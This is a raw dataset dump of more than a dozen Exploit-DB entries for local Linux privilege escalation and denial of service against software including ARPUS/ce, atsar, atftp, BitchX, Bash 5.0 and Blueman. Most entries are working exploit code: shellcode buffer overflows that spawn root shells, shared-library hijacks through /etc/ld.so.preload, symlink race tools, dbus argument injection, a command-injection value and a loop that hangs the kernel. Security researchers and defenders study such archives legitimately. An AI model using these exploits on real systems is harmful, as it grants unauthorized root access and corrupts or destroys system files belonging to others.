deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20868
Description: ARCservIT 6.61/6.63 Client - inetd.tmp Arbitrary File Overwrite
Type: local
Platform: linux
Date: 2001-05-18
Author: Jonas Eriksson

Exploit:
source: https://www.securityfocus.com/bid/2748/info

ARCservIT from Computer Associates contains a vulnerability which may allow malicious local users to corrupt arbitrary files.

When it runs with the parameters 'inet add', 'asagent', opens (and overwrites it if it exists) a file in /tmp called 'inetd.tmp'. 'asagent' does not check to make sure that this file already exists or that is a symbolic link to another file.

This may allow malicious local users to corrupt critical system files. 

je@boxname~> ln -s /etc/passwd /tmp/inetd.tmp

And root:

root@boxname# /usr/CYEagent/asagent inet add

Then,

je@boxname~> cat /etc/passwd
asagentd 6051/tcp # ARCserve agent
asagentd 6051/udp # ARCserve agent
Exploit-DB #973
Description: ARPUS/Ce - Local File Overwrite (setuid)
Type: local
Platform: linux
Date: 2005-05-01
Author: Kevin Finisterre

Exploit:
/*
* Copyright Kevin Finisterre - ripped from my perl_ex.c
*
* ** DISCLAIMER ** I am in no way responsible for your stupidity.
* ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
*
* ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
* ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
* ** WARNING ** have a boot disk ready incase some thing goes wrong.
*
* Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
*
* kfinisterre@kfinisterre01:~$ ls -al /usr/bin/ce
* -rwsr-xr-x  1 root bin 630010 Sep 27  2004 /usr/bin/ce
*
* Tested against http://168.158.26.15/ce/ce-0260-intel-pentium-linux-fedoracore3.tar.gz
*  and ce-0254-intel-pentium-linux-redhat73.tar.Z
*
* (16:34:04) kfin80: this program is tricky
* (16:34:14) kfin80: it drops privs under certain conditions
* (16:34:20) kfin80: it was fucking me up for a second. =]
* (16:36:02) kfin80: kfinisterre@kfinisterre01:~$ ce a a
* (16:36:13) kfin80: kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
* -rwxrwxrwx  1 kfinisterre kfinisterre 6594 Apr 21 16:35 /tmp/ce_edit_log
* (16:36:16) kfin80: owned by ME
* (16:36:36) kfin80: kfinisterre@kfinisterre01:~$ export DISPLAY=yamom
* kfinisterre@kfinisterre01:~$ rm /tmp/ce_edit_log
* kfinisterre@kfinisterre01:~$ ce a a
* ce: cannot connect to X server yamom (Success)
* kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
* -rwxrwxrwx  1 root kfinisterre 107 Apr 21 16:36 /tmp/ce_edit_log
* (16:36:38) d4yj4y: hmmmmmm
* (16:36:38) kfin80: owned by root
* (16:36:49) kfin80: the export of a faulty display makes it NOT drop privs.
*
*/

#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>

int main(int *argc, char **argv)
{

       FILE *getuid;
       if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
               printf("error opening file\n");
               exit(1);
       }

       fprintf(getuid, "int getuid(){return 0;}\n" );
       fclose(getuid);

       system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");

       symlink(PRELOAD,"/tmp/ce_edit_log");
       umask(001); // I'm rw-rw-rw james bitch!

       putenv("DISPLAY=dmr0x!");  // GIMME ROOT BITCH!
       system("/usr/bin/ce");
       FILE *ld_so_preload;

       char preload[] = {
               "/tmp/getuid.so\n"
       };

       if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
               printf("error opening file\n");
               exit(1);
       }
       fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
       fclose(ld_so_preload);
}

// milw0rm.com [2005-05-01]
Exploit-DB #974
Description: ARPUS/Ce - Local Overflow (setuid)
Type: local
Platform: linux
Date: 2005-05-01
Author: Kevin Finisterre

Exploit:
#!/usr/bin/perl -w
#
# Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
#
# Copyright Kevin Finisterre
# kfinisterre@threat:/tmp$ ./ce_ex.pl
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre)
# groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),1000(kfinisterre)
#

# 57 bytes long
$sc  = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$buf = "\x90" x (4120-569);
$buf .= $sc;
$buf .= (pack("l",(0xbfffa187)) x2);

$ENV{"XAPPLRESLANGPATH"} = $buf;

exec("/usr/bin/ce"); 


# milw0rm.com [2005-05-01]
Exploit-DB #21229
Description: AT 3.1.8 - Formatted Time Heap Overflow
Type: local
Platform: linux
Date: 2002-01-16
Author: SuSE Security

Exploit:
source: https://www.securityfocus.com/bid/3886/info

at is a freely available, open source scheduler package. It is included with various Unix and Linux operating systems, and maintained by public domain.

Under some circumstances, at does not correctly handle time input. A local user attempting to schedule a task via commandline execution and using a maliciously crafted time format can cause heap corruption in at. As the at program is installed setuid root in most implementations, this could result in the execution of arbitrary code with administrative privileges. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21229.tar.gz
Exploit-DB #19804
Description: AT Computing atsar_linux 1.4 - File Manipulation
Type: local
Platform: linux
Date: 2000-03-11
Author: S. Krahmer

Exploit:
source: https://www.securityfocus.com/bid/1048/info

atsar is a linux load monitoring software package released under the GPL by AT Computing. atsadc is a setuid root binary that is included in the atsar package. atsadc is setuid because it obtains informatin via /dev/kmem. atsadc will accept as an argument an output file, which it will open -- without checking to make sure the user executing atsadc has the priviliges to do so. After it has opened and created (or overwritten) the target file as root, the permissions set on the file will allow the attacker to write to it. Since this file is arbitrary, it is possible to gain root locally in any number of ways through creating malicious system files. In Teso's proof of concept exploit, root priviliges are gained by creating a malicious shared library to be preloaded and creating/specifying that library in /etc/ld.so.preload (and then executing a setuid binary..).

Starting with atsar 1.5 the program is no longer suid root as it obtains its information via the /proc file system.

#!/usr/bin/perl

# Halloween 4 local root-exploit, other distros are maybe
# affected as well. (atsadc program)
# (C) 2000 C-skills development, S. Krahmer under the GPL
# http://www.cs.uni-potsdam.de/homepages/students/linuxer

# Exploit will create /etc/ld.so.preload, so it should NOT exist
# already. THIS FILE WILL BE LOST!

# ! USE IT AT YOUR OWN RISK !
# For educational purposes only.

print "Creating hijack-lib ...\n";
open O, ">/tmp/boom.c" or die "open(boom.c..)";
print O<<_EOF_;
#include <sys/types.h>

int time(void *v)
{
	chown("/tmp/boomsh", 0, 0);
	chmod("/tmp/boomsh", 06755);
	unlink("/etc/ld.so.preload");
	exit(1);
}
_EOF_
close O;

print "Compiling hijack-lib ...\n";
$foo = `cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`;
$foo = `cc -shared /tmp/boom.o -o /tmp/boom.so`;

open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)";
print O<<_EOF2_;
#include <stdio.h>
int main() 
{
    char *a[] = {"/bin/sh", 0};
    setuid(0); setregid(0, 0);
    execve(a[0], a, 0);
    return 0;
}
_EOF2_
close O;

print "Compile shell ...\n";
$foo = `cc /tmp/boomsh.c -o /tmp/boomsh`;

umask 0;

print "Invoking vulnerable program (atsadc)...\n";
$foo = `atsadc 2 1 /etc/ld.so.preload`;
open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload.";
print O "/tmp/boom.so";
close O;
$foo = `/usr/bin/passwd`;

# let it look like if we have sth. to do. :)
sleep 3;
print "Welcome. But as always: BEHAVE!\n";
system("/tmp/boomsh");
Exploit-DB #22768
Description: ATFTP 0.7 - Timeout Command Line Argument Local Buffer Overflow
Type: local
Platform: linux
Date: 2003-06-06
Author: Julien LANTHEA

Exploit:
source: https://www.securityfocus.com/bid/7902/info

atftp is prone to a locally exploitable buffer overflow condition. This issue is due to insufficient bounds checking performed on input supplied to the command line parameter (-t) for "timeout".

Local attackers may exploit this condition to execute arbitrary instructions.

It should be noted that although this vulnerability has been reported to affect atftp version 0.7cvs, other versions might also be vulnerable. 

#!/usr/bin/perl
# Date : 6 June 2003
#
# expl-atftp.pl : Local buffer overflow exploit for
#                 atftp-0.7cvs (client)
#
# Exploit tested on RedHat 8
#
# [jlanthea@localhost ]$ perl expl-atftp.pl
# Atftp local exploit by jlanthea - 2003
# The new return address: 0xbffffb20
# Usage: option <option name> [option value]
#       option disable <option name>
# sh-2.05b$
#
# Author : Julien LANTHEA
# Mail   : jlanthea@jlanthea.net
# www    : jlanthea.net
#
# Syntax :
#    perl expl-atftp.pl <offset> # works for me with -50

$vuln="/usr/sbin/atftp";

$shellcode =
        "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0".
        "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd".
        "\x80\xe8\xde\xff\xff\xff/bin/sh";

$offset = "0";

if(@ARGV == 1) { $offset = $ARGV[0]; }
$nop     = "\x90";
$esp     = 0xbffffb20;

for ($i = 0; $i < (273 - (length($shellcode)) - 4); $i++) {
    $buffer .= "$nop";
    }

$buffer .= $shellcode;
$buffer .= pack('l', ($esp + $offset));

print("Atftp local exploit by jlanthea - 2003\n");
print("New return address: 0x",sprintf('%lx',($esp + $offset)),"\n");
exec("$vuln -t '$buffer'");
Exploit-DB #22456
Description: AutomatedShops WebC 2.0/5.0 - Symbolic Link Following Configuration File
Type: local
Platform: linux
Date: 2003-04-03
Author: Carl Livitt

Exploit:
source: https://www.securityfocus.com/bid/7272/info

It has been reported that WebC will execute in the directory of a symbolic link from which it is invoked. Because of this, it may be possible for a local user to load a configuration file that enabled dangerous variables. 

$ cd /tmp
$ ln -s /usr/local/apache/cgi-bin/webc.cgi webc.cgi
$ cp /usr/local/apache/cgi-bin/webc.emf .
$ echo "WEBC_NO_SECURITY_CHECK=True" > webc.ini
$ echo "HTML_TRACE_REQUEST=/tmp/.debug1" >> webc.ini
$ ./webc.cgi
Exploit-DB #45009
Description: Awk to Perl 1.007-5 - Buffer Overflow (PoC)
Type: local
Platform: linux
Date: 2018-07-11
Author: Todor Donev

Exploit:
# Exploit Title: Awk to Perl 1.007-5 - Buffer Overflow (PoC)
# Author: Todor Donev
# Date: 2018-07-11
# Software: Linux Awk to Perl Translator '/usr/bin/a2p'
# Version: 1.007-5
# CVE: N/A
# Tested on: CentOS 6.9, Ubuntu 10

[todor@adamantium ~]$ python -c "print 'A' * 2070" | a2p > /dev/null
Segmentation fault
[todor@adamantium ~]$ gdb a2p --quiet
Reading symbols from /usr/bin/a2p...(no debugging symbols found)...done.
Missing separate debuginfos, use: debuginfo-install *SNIPED*
(gdb) r bof
Starting program: /usr/bin/a2p bof
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x0074ee65 in fgets () from /lib/libc.so.6
(gdb) info reg
eax            0x1060	4192
ecx            0x1	1
edx            0x4[PII_REDACTED]795585
ebx            0x880ff4	8916980
esp            0xbffff0f0	0xbffff0f0
ebp            0xbffff118	0xbffff118
esi            0x4[PII_REDACTED]795585
edi            0x8[PII_REDACTED]21472
eip            0x74ee65	0x74ee65 <fgets+53>
eflags         0x210216	[ PF AF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb)
Exploit-DB #47726
Description: Bash 5.0 Patch 11 - SUID Priv Drop Exploit
Type: local
Platform: linux
Date: 2019-11-29
Author: Mohin Paramasivam

Exploit:
# Exploit Title : Bash 5.0 Patch 11 -  SUID Priv Drop Exploit
# Date : 2019-11-29
# Original Author: Ian Pudney , Chet Ramey
# Exploit Author : Mohin Paramasivam (Shad0wQu35t)
# Version : < Bash 5.0 Patch 11
# Tested on Linux
# Credit : Ian Pudney from Google Security and Privacy Team based on Google CTF suidbash
# CVE : 2019-18276
# CVE Link : https://nvd.nist.gov/vuln/detail/CVE-2019-18276 , https://www.youtube.com/watch?v=-wGtxJ8opa8
# Exploit Demo POC : https://youtu.be/Dbwvzbb38W0

Description :

An issue was discovered in disable_priv_mode in shell.c in GNU Bash through 5.0 patch 11.
By default, if Bash is run with its effective UID not equal to its real UID,
it will drop privileges by setting its effective UID to its real UID.
However, it does so incorrectly. On Linux and other systems that support "saved UID" functionality,
the saved UID is not dropped. An attacker with command execution in the shell can use "enable -f" for
runtime loading of a new builtin, which can be a shared object that calls setuid() and therefore
regains privileges. However, binaries running with an effective UID of 0 are unaffected.

#!/bin/bash
#Terminal Color Codes

RED='\033[0;31m'
GREEN='\033[0;32m'
NC='\033[0m'

#Get the Effective User ID (owner of the SUID /bin/bash binary)
read -p "Please enter effective user id (euid) : " euid
#Create a C file and output the exploit code
touch pwn.c
echo "" > pwn.c
cat <<EOT >> pwn.c

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
 
void __attribute((constructor)) initLibrary(void) {
        printf("Escape lib is initialized");
        printf("[LO] uid:%d | euid:%d%c", getuid(), geteuid());  
        setuid($euid);
        printf("[LO] uid%d | euid:%d%c", getuid(), geteuid());
}

EOT
echo -e  "${RED}"
echo -e "Exploit Code copied to pwn.c !\n"
sleep 5
echo -e "Compiling Exploit Object ! \n"
$(which gcc ) -c -fPIC pwn.c -o pwn.o
sleep 5
echo -e "Compiling Exploit Shared Object ! \n"
$(which gcc ) -shared -fPIC pwn.o -o libpwn.so
sleep 5
echo -e "Exploit Compiled ! \n"
sleep 5
echo -e "Executing Exploit :)  \n"
sleep 5
#Execute the Shared Library
echo -e "${RED}Run  : ${NC} enable -f ./libpwn.so asd \n"
Exploit-DB #33576
Description: Battery Life Toolkit 1.0.9 - 'bltk_sudo' Local Privilege Escalation
Type: local
Platform: linux
Date: 2010-01-28
Author: Matthew Garrett

Exploit:
source: https://www.securityfocus.com/bid/37996/info

Battery Life Toolkit (BLTK) is prone to a local privilege-escalation vulnerability.

A local attacker can exploit this issue to execute arbitrary code with superuser privileges, resulting in the complete compromise of the affected computer.

This issue affects BLTK 1.0.9; other versions may be vulnerable as well.

The following proof of concept is available:

/usr/lib/bltk/bin/bltk_sudo /bin/bash
Exploit-DB #586
Description: BitchX 1.0c19 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2004-10-20
Author: Sha0

Exploit:
// BitchX local-root by Sha0 (version 1.0c19 e inferiores -todas-)
// este exploit se lo dedico a mi chica.
// 0xC0000000-4-strlen(argv[1])-1-strlen(buffer)
// 2052 to the ret

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

char payload[69];
char sha0code[] =
 "\xeb\x16\x5b\x31\xc0"
 "\x50\x53\xb0\x0b\x89"
 "\xdb\x89\xe1\x31\xd2"
 "\xcd\x80\x31\xc0\x40"
 "\x31\xdb\xcd\x80\xe8"
 "\xe5\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68";


void nopea (void);

int main (int argc, char **argv) {
 
 char *buff;
 char *arg1="bash";
 char *arg2="-c";
 char *arg[]={arg1,arg2,buff,NULL};
 char *env[]={"TERM=xterm",payload,NULL};
 char offset[]="";
 char sret[4];
 unsigned long lret;
 int i;

 if (argc != 2) {
  fprintf (stdout,"BitchX exploit Coded By Sha0\n");
  fprintf (stdout,"ej: %s /usr/bin/BitchX\n\n",argv[0]);
  return (1);
 }

 buff = (char *)malloc (2100);
 bzero (buff,sizeof(buff));
 arg[2] = buff;
 
 nopea ();

 lret = 0xbffffffa - strlen(payload) - strlen(argv[1]);
 sret[0] = (0x000000ff & lret);
 sret[1] = (0x0000ff00 & lret) >> 8;
 sret[2] = (0x00ff0000 & lret) >> 16;
 sret[3] = (0xff000000 & lret) >> 24;

 for (i=0;i<2088;i+=4) // 2088 tirando largo.
  memcpy (buff+i,sret,4);

 execve (argv[1],arg,env);
 perror ("execve()");

 free (buff);
 return (0);
}


void nopea (void) {
        bzero (payload,sizeof(payload));
        memset (payload,0x90,sizeof(payload)-1);
        memcpy (payload+sizeof(payload)-strlen(sha0code)-1,sha0code,strlen(sha0code));
}

// milw0rm.com [2004-10-20]
Exploit-DB #30503
Description: BlueCat Networks Adonis 5.0.2.8 - CLI Privilege Escalation
Type: local
Platform: linux
Date: 2007-08-16
Author: forloop

Exploit:
source: https://www.securityfocus.com/bid/25342/info

BlueCat Networks Adonis devices are prone to a remote privilege-escalation vulnerability because the software fails to properly sanitize user-supplied input.

An attacker with administrative privileges can exploit this issue to execute arbitrary shell commands with superuser privileges. A successful attack will result in the complete compromise of an affected appliance.

Adonis 5.0.2.8 is vulnerable; other versions may also be affected. 

set host-name ;bash
Exploit-DB #48963
Description: Blueman < 2.1.4 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2020-10-28
Author: Vaisha Bernard

Exploit:
# Exploit Title: Local Privilege Escalation in Blueman < 2.1.4
# Date: 2020-10-27
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
# Vendor Homepage: https://github.com/blueman-project/blueman
# Software Link: https://github.com/blueman-project/blueman
# Version: < 2.1.4
# Tested on: Ubuntu 20.04
# CVE: CVE-2020-15238
#
# By default installed on Ubuntu 16.04 - 20.10 and
# Debian 9 - 11
#
# Local root exploit when dhcpcd is used instead of dhclient
# 
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
#
# 
# The DhcpClient method of the d-bus interface to blueman-mechanism 
# is prone to an argument injection vulnerability. 
# On systems where the isc-dhcp-client package is removed 
# and the dhcpcd package installed, this leads to Local 
# Privilege Escalation to root from any unprivileged user. 
# See attached python script for a working exploit. Or use 
# this oneliner with a shellscript "/tmp/eye":
 
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/eye"

# This happens because the argument is not sanitized before 
# being used as an argument to dhcpcd.
# 
# Also on default installations with isc-dhcp-client installed, 
# this can lead to DoS attacks by bringing any interface down 
# as follows:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"

# Or allows users to attach XDP objects to an interface:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 name a"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"a xdp o /tmp/o"

# This both happens because the argument is passed to "ip link" 
# unsanitized.
Exploit-DB #19422
Description: BMC Software Patrol 3.2.5 - Patrol SNMP Agent File Creation/Permission
Type: local
Platform: linux
Date: 1999-07-14
Author: Andrew Alness

Exploit:
source: https://www.securityfocus.com/bid/525/info


Patrol 3.2, installed out of the box, allows for a local root compromise or denial of service. The vulnerability lies in the creation of a file by snmpagnt that is owned by the owner of the parent directory of the file and possibly world writeable. A local user can specify any file (/.rhosts) and create it / set the permissions according to the user's umask.

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al snmpmagt
-rwsr-xr-x 1 root users 185461 Mar 6 1998 snmpmagt*

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts
/.rhosts not found

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> umask 0

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> snmpmagt yoyoyo /.rhosts

yoyoyo: No such file or directory
snmp bind failure: Address already in use
/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin/snmpmagt: error processing configuration

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts
-rw-rw-rw- 1 root users 770 Jul 13 14:42 .rhosts

note: If the file exists, it keeps the same perms and overwrites it
with "i^A" then the result of gethostname() and some whitespace. this
problem is not platform dependent and was tested based on out of box
install on an HP.
Exploit-DB #19837
Description: Bray Systems Linux Trustees 1.5 - Long Pathname
Type: local
Platform: linux
Date: 2000-04-10
Author: Andrey E. Lerman

Exploit:
// source: https://www.securityfocus.com/bid/1096/info

Bray Systems Linux Trustees is an access control program which manages user permissions similar to implementations of Netware. Requesting an unusually long file or directory path will cause the application to hang. Other processes may also be affected. In order to regain normal functionality, the user must reboot the machine.

#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>

int main(void)
{

while(1) {
	if(mkdir("aaaa",0777)<0) {
		perror("mkdir");
		exit(1);
		}
	if(chdir("aaaa")<0) {
		perror("chdir");
		exit(1);
		}
	}

return(0);
}
Exploit-DB #21247
Description: BRU 17.0 - SetLicense Script Insecure Temporary File Symbolic Link
Type: local
Platform: linux
Date: 2002-01-26
Author: Andrew Griffiths

Exploit:
// source: https://www.securityfocus.com/bid/3970/info

BRU is a commercially available backup software infrastructure available for both UNIX and Linux Operating Systems. It is distributed and maintained by the Tolis Group.

When BRU executes, it creates temporary files insecurely. BRU uses easily predicted temporary filename /tmp/brutest.$$ where $$ is the process id of the executing shell. The program also does not check for an already existing file of the same name.

This makes it possible for a local user to launch a symbolic link attack, and could lead to the overwriting of system files, or potentially elevated privileges.

/* symace.c -0.0.1 - A generic filesystem symlink/race thinger */

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>

/* Please note that there is no error checking... */
/* By Andrew Griffiths (nullptr@tasmail.com)    */

int main(int argc, char **argv)
{
        char *overwrite;
        char *base;
        int start_pid, end_pid;
        int i, size;

        overwrite = strdup(argv[1]);
        size = strlen(argv[2]) + 8 + 1;
        base = malloc(size);
        start_pid=atoi(argv[3]);
        end_pid=atoi(argv[4]);

        for(i=start_pid;i<end_pid;i++) {
                memset(base, 0, size-1);
                snprintf(base, size-1, "%s%d", argv[2], i);
                if(symlink(overwrite, base)==-1) {
                        printf("Unable to create %s bailing\n", base);
                        exit(EXIT_FAILURE);
                }
        }
        printf("done\n");
}